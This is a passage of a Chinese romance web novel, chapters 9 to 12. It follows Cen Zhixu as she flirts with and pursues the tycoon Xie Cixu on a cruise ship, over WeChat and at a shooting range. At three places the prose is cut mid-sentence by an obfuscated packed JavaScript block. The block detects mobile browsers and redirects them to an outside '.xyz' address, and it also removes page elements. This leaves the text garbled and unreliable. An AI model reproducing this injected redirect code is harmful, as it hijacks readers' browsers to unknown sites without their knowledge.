岑稚许挑眉看向几乎将她圈在怀里的男人,为了等她落锁,他就这么候在门外,湿漉漉的衬衣压在他肌肉精悍的胸膛前,肯定很不好受。 大概是从未被人这么戏耍过,他周身萦绕着很浓烈的侵略意味,眼神充斥着攻击性,像是一头徘徊在黑暗边缘、未开化的野兽,随时能将她生吞活剥。 面对这样危险的男人,身体本能惊起一片战栗,骨头都跟着酥了。 岑稚许低垂着眸子,“谢先生,你说什么,我听不懂。” “岑小姐这么聪明,怎么会不明白弦外之音。” “既然清楚,何必试探这么多次?”岑稚许微顿,兀自改了称呼,“我知道自己在做什么,我很清醒。” 真正该担心的人应该是他,毕竟,引狼入室这种事,他显然丝毫未觉。 不等谢辞序说话,她轻轻扭过身,“可以帮我拉一下拉链吗?礼服太紧了,我够不到。” 谢辞序不过是觉得她太天真,想吓吓她,他连碰到她的身体反应都很大,怎么会作茧自缚地禁锢她。只可惜,她就此摊牌,仿佛不知男人骨子里的恶劣究竟能到什么程度,竟然将脆弱细腻的脊背展露给他。 完全的,没有一丝犹豫。 那让他避讳收敛视线的透明细肩带,连同锁住饱满丰腴的枷锁,如云销雨霁般呈现在眼前。 谢辞序的呼吸汹涌而又漫长地一滞。 岑稚许偏头催促,狐狸眼里藏着狡黠,“很为难吗?” “辞哥。”她挽了下唇,故意换了称呼,沉默几息后,她低叹了口气,像是终于妥协,“那我只有让您的助理代劳了。” 身后的人没有说话,微微侧颔,粗粝温热的手掌严丝合缝地贴紧她细软的腰肢,强壮劲猛的肱二头肌发力,掐着她的腰,单手将她抱离了地面。 天旋地转间,滚烫沿着脊椎线一路往上移。 没了踩在地毯上的实感,岑稚许整个人都有些轻飘飘的,如坠云端,她回眸,撞入那双晦暗不明的深眸。 暗得让她心惊。 “现在你满意了,岑小姐。” 9. 陷落 冉颂舟从朋友那要到了今晚主角的微信,却没着急着加。毕竟谢家几位长辈倒是挺中意谈家,又大费周章逼谢辞序来这地呆着,谢辞序不表明态度,他不会横插这一脚,到底要先避嫌。 大型游轮在海上航行时很平稳,不似平时玩的飞艇颠簸刺激,冉颂舟在隔壁坐不住,摸出打火机想点根烟,出来时正好瞥见岑稚许。 没看见正脸,不过单从背影上看,都知道是个美人胚子。 回到休息室,就见到谢辞序靠在门边,指腹揉捻着一朵曼塔玫瑰,花瓣经不过他粗暴的对待,在地毯上落了满香。 “你把礼服送给那小姑娘,回头怎么跟你妈交代?” 闻言,谢辞序随手将花枝置于桌面,心思根本没在这,答复的口吻也随意,“一件衣服而已,送给谁都没区别。” 冉颂舟:“你觉得没区别,别人未必也这么想。尤其你家那几派,指不定多少双眼睛盯着。” 如今谢家繁荣鼎盛,谢辞序作为最大股权继承人,背后支持和反对的也不少,大家族各方互相制衡,看似平和齐心,实际上不过是被一张利益的遮羞布盖着,一旦哪方稍显弱势,蛰伏在暗处的人必定如海水般潮密地涌来,将他吞没。 吃得骨头都不剩。 这些话谢辞序在他母亲那听了不少,局势谁都看得透,但要改变却并非朝夕能做到的。 “联姻是最简单的做法。”谢辞序显然并没把这些事放在心上,“被共同利益牵制,也未必是好事,除非山穷水尽,否则,我不会考虑这一点。” 都说谢家这位太子爷心高气傲纵,明明热衷于玩弄权术,却偏偏不近女色,断绝了诸多想要以联姻为名的合作,算不得站在金字塔顶端的商人,站在高处,谁不得把自己也算计进去。 冉颂舟知道他不想聊这个话题,掐了烟,向来吊儿郎当的脸上难得多了几分正色。 “刚朋友跟我说,那位小公主已经走了。” 谢辞序对这个没兴趣,神情清清淡淡,“那正好,眼不见为净。” “你都没见过她,就对人意见这么大?” 见谢辞序没应声,冉颂舟笑:“懂了,这是把伯母给你施压的不满发泄到小公主身上了。” 冉颂舟一向话多,谢辞序左耳进右耳出,眼底静默下来,碾碎花瓣留下的饱满枝液残留在指尖,仍旧带着潮湿的黏腻感,让人觉得很不舒服。 像她柔软温腻的肌肤。 触之升温,经久未散。 就连这奢华糜糜的船舱,也残留着她影子似的。 谢辞序彻底坐不下去,拿起搭在衣架上的西装外套——原本是给她用来遮肩的,她没有要,说,辞哥,现在早就穿衣自由了,只是露肩而已,没什么值得避讳的。 而后她微微一笑,反问,难道你很在意? 一句话就将场面推到了他无法掌控的境地。 谢辞序没有立场管她,只是出于绅士风度,让宴凛送她下去。岑稚许临行前跟他道了声谢,他没有回眸,情绪却被彻底扰乱,就像那杯洒出来的红酒,平白报废了一套西装,以及一个本就糟糕的下午。 “谢总,岑小姐已经同庄小姐会面了。” “她向我索要您的联系方式,说礼服干洗后会还回来。” 作为助理,不会擅自将领导的私人联系方式给出去,这次当然也没有破例。 宴凛是一位非常得力的下属,应变和抗压能力极强,能够替谢辞序处理许多繁杂的场面。 此刻听到他公事公办的汇报,谢辞序却无端生出几分烦郁。 “晚点把我微信推给她。” 都知道谢辞序注重隐私,微信只能通过扫码添加,即便推过去也无济于事,不过老板的想法宴凛也不好揣测,只点头说:“好的,谢总。” 谢辞序没什么情绪地应声,一刻也不想多呆,只想动用私人直升机离开这片海域。 小机型相比于波音来说耗费不了多少财力物力,是港岛诸多富豪通勤往返的最优选择,谢辞序在内陆的行程比较低调,鲜少采用这么迫切的方式。 提前离场,免不了被长辈知晓。 安排好返程计划后,宴凛顺势询问:“那您换下来的西服要送去清洗吗?” “扔了。”谢辞序吩咐,似是想起什么,面上笼上几分躁郁,“她的也扔了。” “岑小姐没有留下东西。” “……” 谢辞序揉着疲惫的眉心,挥手示意宴凛先去准备,正好还留有一点时间,可以同几个生意场上的老狐狸周旋客套。刻意避开那位小公主的锋芒,也不算抢了她的面子。 冉颂舟见他来去匆忙,看出点门道,用玩笑的语气调侃道:“既然辞哥对小公主没意思,应该不介意我加她吧?” 他晃了晃手机,屏幕界面停留在朋友推过来的名片里,昵称很简单:Xu. 谢辞序冷然的目光甚至未曾停留,“你加她,用得着来问我?” 冉颂舟这才放下心来,熟练地发送了好友申请,撇清自身似地说,“万一你后面想通,想跟谈家商业联姻,我这样做道德上占不到理不是。” “总不能以后传出去,说我撬兄弟的墙角吧?” 行至门边的人脚步微顿,逆光而立,半张英俊锋棱的面庞隐在暗色里。 “不好意思,我穷途末路的这一天,你等不到。” 言下之意就是,他永远也不会妥协。 轻狂到没边的一句话,从谢辞序嘴里说出来,无端叫人信服。 冉颂舟听明白了,心态也跟着松弛。 忘了告诉他,谈家那小公主姓岑,话故意慢了半拍才溜到唇边,彼时谢辞序已经离开。 算了,左右他也不在乎,说与不说,不重要。 — “阿稚,你怎么一个人就回来了,还换了套衣服?” 庄晗景转着圈圈左看右看,认出这是套eliesaab的秀场高定,裙摆镶的都是真钻,流光溢彩的漂亮,很衬岑稚许那种精娇细养、明艳张扬的气质。 早上同岑稚许见面的时候,她只随手从衣柜里拿了件裙子,首饰也就随意戴了串粉珍珠手链。 像这种大型社交场,岑稚许参加得并不多,来这一趟纯粹是带着庄晗景拓宽人脉,给她介绍了几位珠宝策展人以及品牌设计师。 跟岑稚许做朋友,总能在这些细枝末节的地方体会到她的温柔。 庄晗景顿时为自己“出卖”挚友而感到愧疚,不过愧疚仅限于0.01秒,“没见着我哥?” 岑稚许何等聪明,锐利的一双眼洞悉一切,“我说你怎么故意甩开我,原来是为了给庄缚青制造机会。” 庄晗景打着哈哈,“我这不是看你们俩上次吵架以后,冷战了好久,我妈前段时间还提起你,念叨说你都不来家里串门了。” “明天就去拜访,我馋周姨的糖醋排骨很久了。”岑稚许挑了后半句回。 “你说的啊,我待会就给她打电话。” 正说着,庄缚青闲庭信步地朝她们的方向走来,岑稚许也看见了他。 英伦风西服,系着深蓝色领带,偏向西方人的一张深邃冷峻面孔,步履间仿佛带风,可惜嘴太毒,颜值上撑起来的分都得扣掉一半。 “这么快就移情别恋了?” 开口就是一句分外不讨喜的话。 很明显,庄晗景把两人忽悠过去,谁知没碰上对方,反而让岑稚许意外跟谢辞序又多一层交集。估计她故意泼谢辞序红酒那会,庄缚青在附近围观了全程,不然怎么会冷不丁地追上来嘲讽。 岑稚许也没恼,顺势说:“女人变心都很快的,老古板没谈过恋爱,当然不会懂。” 她的攻击力一向很强,是不肯服输的性子,哪怕只是嘴皮上的功夫,也要找回主控权。 庄缚青神色松动,不可否认,看到她跟着谢辞序进了包厢,他内心涌生出的嫉妒险些让他失态冲进去。但岑稚许决不允许别人强行干涉她的事,如果他贸然打破这层关系,还没入场就会满盘皆输。 他只能装作平静地凝神望着那一处,直到她再出现在视野时,明媚到容光焕发。 而他作为旁观者,跟一只躲在阴沟里的老鼠没什么区别。 庄缚青不想再将她越拖越远,语气难得不带刺:“上次用傅斯年来激你,是我不对,没能考虑你的情绪,我向你道歉。” 不只是岑稚许惊讶,庄晗景更是差点把眼珠子瞪出来。 她们听到了什么?庄缚青竟然向岑稚许示弱了。 岑稚许本以为他会持续输出,毕竟庄缚青的mbti是紫老头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14054574|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,高攻低防,不跟她吵个两败俱伤是绝不会罢休的。 她一时间不知该如何接招,环着手臂收紧了些,“没事。我不是小气的人。” “嗯,这件事就此翻盘。”庄缚青眸色沉沉。 庄晗景看着两人的世纪大和好,恨不得当场拉横幅庆祝。 谁说这主意烂的?这主意太棒了。 庄缚青朝身后的人颔首,手里接过一条纯白色兔绒披肩,递给她,“海上温度低,容易着凉。” 这就算是他给的台阶,岑稚许自然没有不应的道理。 晚礼服本就足够隆重华贵,加上披肩后,非但没有喧宾夺主,反而处于色彩对比的下位,衬得雾霾蓝的颜色愈发清冷,像缓缓流逝的月光。 被庄缚青盯着,让岑稚许觉得有些不自在,恰逢不远处有几位年轻面孔意欲邀请,她随便找了个借口,拉着庄晗景离开。 她们俩每次凑在一起就喜欢喝酒,也没个上限,游轮上的安保纵然还算不错,但到底人多眼杂,庄缚青敛眉:“晗景,你看着点她。” 庄晗景耸耸肩,表示爱莫能助。 岑稚许听出这是在敲打她的意思,沉吟几秒,问他:“你知道跟谢辞序玩得很好的那位,叫什么名字吗?” 这种事情,随便跟谁打听都行。庄缚青没想到她会问自己,有些意外,薄如晨雾的眸子恢复平静,“我不清楚你具体指的谁,他跟池家、钱家、还有冉家都走得挺近的,生意上时有往来,私交的话,估计冉颂舟、池蔚楼、高延还算不错。” 几个名字做下简单的排除法,就知道是谁了。岑稚许心里有了数,扯了扯唇角,同庄缚青道了声谢。 回休息室的路上,她收到了一条好友申请。 好友申请备注是:[冉颂舟] 对面见申请通过后,秒回,做了个自我介绍。 不过几秒,又发来了新的开场白。 [谈小姐跑得这么快,该不会是觉得太无趣了吧?] 岑稚许到现在都还没有拿到谢辞序的联系方式,从别人那打探他的消息很容易被察觉,像冉颂舟这种主动送上门的,正合她意。 她径直敲出了谢辞序的名字,那边显示正在输入好一阵,才发来一行字:[发小,能不熟么] 正所谓,无事献殷勤,非奸即盗。今天向她搭讪的人很多,众人哪怕没有明说,岑稚许也知道,多半是她爸不知道在什么场合操心过她的终身大事,冉颂舟显然也处于其中一列。 都是聪明人,岑稚许也懒得迂回婉转,索性开门见山。 [Xu.:我想追他] [Xu.:是不是比较麻烦?] 冉颂舟很快回复:[相当棘手] [舟:谈小姐是想让我当你的军师,帮忙参谋?] 一点就透。 岑稚许发了个‘嗯’过去。 [舟:参谋可以,不过我丑话可说在前头,辞哥这人不会怜香惜玉,要是追不上,谈小姐可别殃及池鱼] [分享-个人名片] 冉颂舟顺水人情送的倒是比谁都快,岑稚许回了句下次请他吃饭,下意识打开名片,这是习惯性反应,哪怕知道谢辞序的微信就跟他本人一样,只可远观不可亵玩。 连加个联系方式都需要大费周章,更别说把人钓到手了。 她有两个微信号,一个加的是跟家里有所往来的圈子,一个则是同学、校友以及来自微博的粉丝。 分享给小号以后,岑稚许盯着他头像里的捷克狼犬微微出神,她在想,要不她也去养只小动物拉近距离? 不过想想又觉得还是算了,狗是忠诚性极强的动物,要是她三分钟热度过了,不想再继续养了,对它不公平。 人可以控制自己的情绪,缘聚缘散,都能宽慰释怀,动物却很难,有的甚至一生只认定一位主人。 “阿稚阿稚,入夜在甲板上有焰火表演!听说谢夫人赞助了千尺玉,足足上百发呢,要不今晚别走了!” 正窝在太空舱座椅上刷手机的庄晗景忽然兴奋地蹦起来,晃着岑稚许的手臂,以至于她手抖,不小心点了添加好友的按钮。 下一秒,系统自带的聊天界面弹出来。 [你已添加Abyss,现在可以聊天了] [Abyss:?] 10. 陷落 二十分钟前,宴凛推来了谢辞序的微信。 该不会是为了等她主动加好友,特意取消了那一大堆申请限制吧? 岑稚许的心情顿时变得有些微妙。 她一时兴起,想用坏心思逗逗他,故意让他帮她拉上晚礼服侧腰后拉链,他冷着一张脸,将周遭的空气都冻得僵硬几分。其实那时,她已经做好了被他拒绝的准备,出乎意料的是,他明明看穿了她的企图,仍旧清醒着自投罗网。 谢辞序的指腹很烫,哪怕克制着保持着绅士,掌心未曾触及过她的肌肤半分,隔着那层单薄如蝉翼般的布料,存在感仍旧十分鲜明。 大概是从未有人向他提出过这样的要求,谢辞序的动作算不上温柔,甚至可以带有一点不自知的粗暴,让人轻易便能联想到,像他这样骨子里都透着强势、傲慢的男人,陷入欲望的漩涡时,会是怎样的强势、掠夺。 气氛升温到最意乱情迷之际,岑稚许匆忙逃离,连声谢谢都没来得及道。 戛然而止才让人回味悠长。 对彼此而言皆是。 回想起险些吻上去的那一刻,岑稚许怦然的心跳隐有复苏之意,她还没想好怎么回复,于是将手机切回主页,指尖轻轻收紧,状似不经意的回庄晗景:“哪位谢夫人?” “谢辞序他妈呀,就是谢砚庭第三任妻子,我跟你说,她的手段也不简单,网上都快把她的上位史扒了个底朝天。” 庄晗景作为十级互联网冲浪选手,这些八卦信手拈来,“她出手挺大方的,每年给公益事业也捐了不少钱,不过很势力,听说筛选儿媳的条件相当苛刻,门当户对是基本要求。” 岑稚许大致听过一些传闻,表情没什么变化,“能从传统豪门望族里杀出来,哪有心思良善的。” “这倒是。”庄晗景点头,“你不好奇她为什么要赞助这场烟花吗?” 岑稚许翘着小腿摇晃,表情带着一点漫不经心,“我只对谢辞序好奇,谢谢。” “你想钓人家,总得对他的家庭有点了解吧。” 岑稚许笑了笑:“照你这么说,每次有好感前,都得做一场详细的背调,上到父母兄弟,下到朋友同学。不知道的还以为我在FBI工作呢!” 感情是生活的调剂,不是生活的全部。 “反正我听她们说谢夫人挺传统的,貌似希望儿媳安心做全职太太,据说生一个孩子奖励这个数。”庄晗景比出两根手指头,表情夸张。 “两千万?”岑稚许掂量了下谢辞序平时开的车、戴的表,顿时觉得这位豪门太太也不是想象中那么光鲜亮丽,至少在这种事情上挺抠门的。 当然,也可能是没有权力。 庄晗景摇头否认:“哪能啊!是两个亿。” “这数字可不小,好些上市公司一年的盈利还够不上呢,直接就能走上人生巅峰。” 岑稚许的看法不同,慢条斯理地说:“你没发现这其中的漏洞吗?谢夫人既想找高门大户,又抛出这个诱饵,先不说算不算物化女性,不是摆明了养蛊似的让大家斗么。” “妈的,水真深。”庄晗景感慨,“突然发现我要是掉到这种家庭里去,铁定被牵着鼻子走,连自己怎么没的都不知道。” 聊完这些,熄灭的屏幕倏地点亮,不过才几分钟不到的功夫,谢辞序就沉不住气了,发来了第二条消息。 [Abyss:不说话删了] 脾气这么大? 岑稚许见时间差不多了,也不再跟他周旋,打了个语音电话过去。 电话那头顿了几秒才接,岑稚许放低了声,循循地唤:“辞哥。” 谢辞序低醇的嗓音掺进嘈杂的直升机轰鸣声中,显得懒洋洋的,“嗯,你说。” 没有纠正她自作主张的称呼,也就意味着默许关系再近一步。 岑稚许弯着眼,尾音压着调,没往设定好的话题方向靠,有点出其不意悄悄试探的意思,“你那边有点吵,我听不清,是在飞机上吗?” 谢辞序:“对。” “我听晗景说晚上有焰火表演,错过的话还挺遗憾的。” 他没有搭话,岑稚许接着又说,“回京市以后,就看不到了。” 她将未尽的话咽回去,用以留白填补。 静默的几秒,足以给人无尽遐想。 “我还有半小时落地。”谢辞序敛下眸,并没有同她闲聊的打算,“海上信号有限,你如果非要选择在这时候说些无关紧要的话,不如现在互删?” “……” 脾气是真挺大的。 岑稚许抿了下唇,好似抓住了惹怒谢辞序的技巧,觉得挺有意思的。他就像是一只有着蓬松漂亮毛发的布偶猫,哦不,也许是伪装成豹猫的猎豹,看起来高傲又凶戾,实际上,大着胆子挨着尾巴蹭过去,他最多也不过是会露出锋利的爪子而已,根本造不成实质性的攻击。 幸好此刻只是语音通话,否则要是让他看到她上扬的嘴角,他肯定又会黑脸。 岑稚许压住那点隐秘的心思,装作不明白似的,顺着他的话呛过去,“朋友间的关心,在你眼里也算多余吗?” 谢辞序眺目望向泛着灰蓝波浪的海面,指尖缠着的领带松泛稍许,浓眉轻折:“岑小姐,我什么时候答应过跟你做朋友。” “谢先生。”岑稚许咬字,极有耐心地细数过往,“第一次见面,我不懂事,不小心冒犯了您,您没有同我计较;第二次见面,我刚经历一场情绪上的大起大落,脑热向您倾诉,您耐心地包容了我的莽撞;第三次见面,您好心驱车送我回家,又在我遭遇困难之际,向我施援。” 说到这里,她幽幽叹了一口气,嗓音带着点惋惜的味道,“我以为,我们已经算是朋友。” 休息室里有醒好的红酒,庄晗景又让侍者拿了点雪碧和柠檬片兑进去,这种喝法常被人说是土鳖喝法,糟蹋了红酒的醇香,岑稚许和庄晗景却恰恰喜欢,两人小酌了半杯。 不知道是不是有些微醺的缘故,岑稚许说话时牵连着些许鼻音,隔着电流传到谢辞序那边,隐约透着哭腔,听起来格外引人人怜惜。 谢辞序滑过一丝心烦意乱的燥意,跟她相处,总是让他拿捏不定分寸。她看起来是有着一颗强大心脏的女孩,无论碰到什么事情,都能游刃有余地处理,可是同他相处时,又偶尔会表现出几分脆弱,长睫垂落时,仿佛随便一缕清风都能让她落败。 他逐渐有些分不清,到底哪个才是真实的她。 “所以。”谢辞序喉结轻滚,嗓音低沉,“岑小姐的朋友是怎么称呼你的?” 曼塔玫瑰似是已经盛开到了极致,淡紫色的花瓣倏然落地,岑稚许惜花,蹲下身拾捡起来,听筒里,只余下沉默的引擎轰鸣声,白噪音似的渡过来。 岑稚许饶有兴致地将花瓣撒进清水里,看它缓缓漂浮,仿若重获新生,估摸着谢辞序的耐心即将告罄之际,淡淡启唇:“阿稚。” “亲近的朋友都喜欢叫我阿稚,如果谢先生不介意的话,也可以这么称呼我。” 这句话的重音落在前两个字上,谢辞序大概听出来了,毕竟她的意图如此明显,那点心思在他面前无所遁形。 他没有接招,或许是并不想就此纵容她,声线犹如一汪流淌的幽泉,“我记住了,岑小姐。” 通话以他那边的信号不稳而被迫中断,像戛然而止的音符键。 那晚的焰火表演很美,岑稚许拍了许多照片存在相册里,并没有急于同错过的人分享。 宴会结束后,她沿着海岸线往南,去了一趟澳城半岛,星顶酒店十周年庆典还在筹办,新年度的联名合作也没有敲定,原本的候选名单是以优雅高奢闻名的国际珠宝品牌,这是较为保险的方式,以往赠送VIP客户的定制款胸针一直备受好评。 毕竟,能够同品牌方谈来独一无二款式的酒店屈指可数。 她却始终觉得,在竞争日益激烈的环境下,守旧是迈向衰败的预兆。 交接好会场布置的其他细节,岑稚许疲惫地揉着太阳穴,晾了谢辞序一天,这才给他发消息。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14054575|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [xu:辞哥,你最近什么时候有空?我想把晚礼服还给你] 这条消息石沉大海了。 她严重怀疑他也是回复消息全靠随缘的那群人,这类工作狂并不是不够礼貌,只是完全抽不出心神去对应爆炸般的信息,往往处于“已阅”的状态,等着对方用电话联系的方式来分清轻重缓急。 很显然,岑稚许被划分到了无关紧要那一栏。 洗手间里传来两个女孩讨论的声音。 “早上Lucy跟小岑总汇报方案,小岑总表情好淡,她是不是一个方案也不满意?” “哎呀,Lucy就是想偷懒,没怎么动脑子,顺着小岑总以前做好的规划照葫芦画瓢,这样拿百万年薪,哪个老板都会不高兴。” “打工人偷点懒无可厚非啦!我看小岑总是打算做新的规划,说不定是岑总给她下达了新任务,没准她也在焦头烂额中。” 众人说说笑笑的离开,话题逐渐偏离到她今日的穿搭,商讨着她背的这款包配货不多,等发工资了可以放肆shopping一番。 岑稚许怕现在出去让她们尴尬,多呆了一会才离开。倚在天台喝了点咖啡,顺手从冉颂舟那打听到谢辞序最近的行程。 他近期可能会去上次那家射击馆,不过消息并不全然靠谱,需要一点偶遇的缘分。 至于缘深还是缘浅,冉颂舟笑笑,说了句事在人为。 放空一阵后,岑稚许给岑琼兰打了个电话,问出了内心所想。 似是没想到她这么快就领悟,岑琼兰的声线很温柔,“阿稚,提前做好未来五年、十年的规划,是我留给你的最后一道考验。我要看的,不是当下的成绩。” 母亲这个身份,岑琼兰做得或许不算合格,记得小时候,几乎半个月才能同她见一面,只有窝在她怀里撒娇时,她才会放下工作,用温暖的手掌轻抚她的发梢。 她将岑稚许当作继承人来培养,时不时留给她一地破败残局,在这样严苛甚至有些冷漠的教育方式下,岑稚许成长得很快,但也滋生出叛逆。 现在这份不可控的叛逆,也被岑琼兰掌握在手里。 岑稚许不得不承认,在玩弄权术、拿捏人心这方面,岑琼兰早已炉火纯青。 柳暗花明过后,岑稚许将剩下的咖啡饮尽,给庄缚青发了条消息:[北部那块地的事,我来办] [他决定的事情很难有转圜的余地] [犯不着花时间跟他耗] 岑稚许扫了眼,没有再回复,熟稔地熄屏,漆黑的屏幕里倒映出一张明锐清冷的脸。 同屏幕里的自己面面相觑数秒后,她没忍住,噗嗤一声笑了出来。 怎么就学了谢辞序的坏毛病。 岑稚许是射击馆长期会员,同几位教练相熟,没多久就收到了谢辞序现身的消息。当天射击馆清了场,安保不敢拦她,又畏惧惹怒了里头的大人物,一副左右为难的样子。 “我是谢先生的朋友。” 岑稚许知道这句话最终会原封不动地落回谢辞序耳朵里,哪怕听者无心,这段callback也能激起一阵细微的波澜。 高挑空的场馆褪去人潮鼎沸,只有谢辞序逆光立于活动轨道靶对面,青筋盘虬的手掌架着把GSG—STG44步枪,亮银色子弹壳散落一地,折射出熠熠冷光。 枪法相当稳,每一发子弹又快又准的射出去,连身形都未晃动半分。 侧颜利落锋锐,眉骨硬朗,腰腹之处的衬衣束紧,令人脸红心跳的肌理轮廓清晰可见。 岑稚许饶有兴致地观摩了半晌,忍不住想,像他这样充斥着欲念张力的身材,最适合在腰上缠紧束缚性质的战术带,再搭以黑色皮质袖箍,绝对杀翻一切。 他这个人身上不容亵渎的清傲气质太过浓烈。 光是想想都觉得很顶。 岑稚许正在脑中天马行空地构思,谢辞序矜然侧身,磁冷的嗓音如同子弹般穿透防弹亚克力般,直击心脏。 “你准备偷看到什么时候?” 11. 陷落(待补充) 谢辞序睇过来的视线依旧透着冷意,不过同之前相比,至少多了几分温度,如果人与人之间的好感度有具体数值的话,她在他那里的值应该是从负数归正了。 鉴于岑稚许脑子里东西根本见不得光,她难得有些不自在,压住心口的痒意,“我怕打扰你。” 倒也算不上说谎。 要不是他这么快发现她的存在,这么好的机会,她还能多欣赏一会。枪法干净利落,颜值和身材也没话说,要不是受他的身份和气性所限,她甚至想专门打造一个综艺将他捧起来,有没有热度都是其次,这样就能让他心甘情愿留在她身边。 好听的话没诚意,真心话倒是时常惹人不悦。 左右都没有能让她安分的。 谢辞序撩起眼皮,“刚认识那会都不怕,现在反倒怕了?” 岑稚许没搭腔,眼尾那颗泪痣若隐若现,长发松松垮垮地盘在脑后,露出修长白皙的天鹅颈,珍珠耳钉的款式同上次见面没什么区别,并不夺目,却叫人耳目一新。 谢辞序后知后觉地反应过来,她在他心底留下印象太过深刻,竟连这样的细节都没能遗漏。 他不动声色地收回视线,朝她招手,示意她过去,岑稚许磨磨蹭蹭好半晌才挪动,堪堪在距离他几步路远的地方停下,像是在避嫌。 欲擒故纵的把戏不要太明显。 谢辞序佯装未察,轻笑了声:“我是什么豺狼虎豹?” 岑稚许却好似没听出他话语中的不虞,垂睫指向散落一地的弹壳,他这人玩起枪子来丝毫不心疼,让她连个落脚的地都没有,好不容易挑了处干净的地方,她才不想冒着滑倒的风向走过去。 “辞哥,你总该考虑考虑我。” 谢辞序不习惯有人在旁边,都是等弹夹空了,彻底尽兴后才让人来打扫,头一回碰到岑稚许这样的不速之客,的确忘了这一点。 她这话说得一语双关,红唇挽起清落的笑,意味明显,乌眸倒是显得无辜,好似说者无心,听者有心。 也不知道跟谁学的这些话。 谢辞序没有再深入往下想,情绪闪过一丝不耐。自从她出现之后,总能扰乱他自以为已然沉敛平静的心绪。他烦躁地用拇指压住枪柄。 岑稚许一手捂住胸口的位置,边弯腰去拾地面的子弹壳。 “呀——”她惊呼一声,匆忙抽回指尖,秀眉下意识蹙紧,想要后退,却不慎踩到了弹壳,身体霎时因为惯性向后仰倒。 谢辞序这次没有再作壁上观,沉着脸扶稳了她的腰。熟悉的香味再度缠上来,她几乎是以依偎的姿势,靠在他紧实有力的胸膛上。他身上的肌肉因她的贴近而绷紧、僵硬,一切变得不受控起来。 从他开口的那刻起。 岑稚许抻直了指尖,顶端缀着一抹花蕊般的红,同她白玉般的肌肤形成鲜明对比。 “这是……过敏吗?” 谢辞序眼眸冷了冷,平静道:“烫伤。” 岑稚许沉默片刻,贡献出了毕生的演技,“怎么会?” “刚出膛的弹壳温度极高,连发的情况下,最高能达到两百多度。” 谢辞序稍瞬一顿,乌暗的眸子擒住她,“别告诉我你连这点常识都不懂,就敢跟着庄缚青他妹妹四处鬼混。” “晗景的世界丰富多彩,什么都爱涉猎一点,活动邀请、派对party、户外运动哪一样都很吸引人,跟着她明明就是在拓宽眼界。” 岑稚许忍不住为庄晗景叫冤,要说鬼混,也是庄晗景被她带坏,无缘无故背这口黑锅,实在是让她良心过意不去。 她正欲展开辩驳,对上谢辞序那双泛着一点薄怒的凤眸,冷不丁地哑了声,话到嘴边悉数咽了回去。 “辞哥。”岑稚许说,“你这是对庄缚青有偏见。” 谢辞序那么敏锐,不会听不出这其中的绝妙。 差点忘了,庄缚青才是那场局的组织者,又是她闺蜜的亲哥哥,论亲疏远近,到底是比他这个‘朋友’更值得维护。 “我对他没偏见。”谢辞序眼底的黑仿佛能将她整个吸入其中,幽暗,深冷,探不到底。 “对你有。”他冷漠地补充。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14054576|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平白被骂了一通。 岑稚许倒也没生气,就是觉得好玩,“可是偏见就是用来打破的,既然我们都已经是朋友了,难道不应该试着对我改观吗?” 谢辞序松开掌锢她身体的手,将步枪扔回枪架上,抬眼扫过去,她立即作出几分乖巧的模样,眼里却酝出几分狡黠,他隐约觉得自己被摆了一道。 “你跟安保也是这么说的,对吗。”谢辞序微顿,“朋友。” “辞哥包了场,他们恪尽职守,当然不会放陌生人进来叨扰。”岑稚许说,“辞哥的朋友除外。” 谢辞序没有责怪她打探自己的行程,也没有斥责她自作主张地溜进来,只轻讽似的评价:“投机取巧。” 何止投机取巧,她还近水楼台,从他兄弟那抄近道呢。 这些话岑稚许可不敢当着他的面说,她眸光一转,“如果我没记错的话,上次通话前,辞哥亲口答应了,要跟我做朋友。” 谢辞序抬起半边眉梢,似是想看看她能编出什么花来。 “你说,我知道了,岑小姐。” “我说的并不是指这件事。”谢辞序极有耐心的纠正。 岑稚许没有张冠李戴被拆穿后的心虚,思忖片刻后,面上多了几分领悟般的恍然,似笑非笑地望着他。 二选一之下的答案显而易见。 不是默许同她做朋友。 那就是默许了关于称谓的回答。 她步步越界,跟着那群发小一起叫他辞哥,也就意味着,他亦可以迈出这一步,唤她阿稚。 亲昵的称呼,意味不明的朋友。 谢辞序周身的气压莫名有些低,不愿再同她玩这种无聊幼稚的文字游戏。他绕过她,径直往固定靶场的方向走。纯黑休闲裤束脚扎进软皮长筒靴里,将他本就绝佳的身形比例勾勒得愈发禁欲矜贵。 虽然不知道哪句话惹了他,岑稚许倒是觉得,高高在上的太子爷似乎也有冷脸洗内裤的潜质——路过她身侧之际,碍眼的子弹壳都被散漫的步伐踢开,给她划了一条干净的道来。 - 12. 陷落 射击馆内的新风系统做得很好,子弹出膛的硝烟味几乎消散,被药膏的香气覆盖。 